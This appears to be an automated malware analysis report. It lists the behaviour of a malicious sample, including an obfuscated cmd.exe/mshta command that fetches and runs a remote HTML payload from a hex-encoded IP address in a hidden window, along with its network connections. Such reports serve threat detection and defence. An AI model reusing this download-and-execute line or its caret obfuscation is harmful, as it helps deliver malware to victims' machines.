Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
Network activity
Connects to
- '19#.#2.36.245':80
- 'sa######sing.googleapis.com':443
TCP
Other
- 'sa######sing.googleapis.com':443
UDP
- DNS ASK sa######sing.googleapis.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' http://0x##2a24f5/cc.html
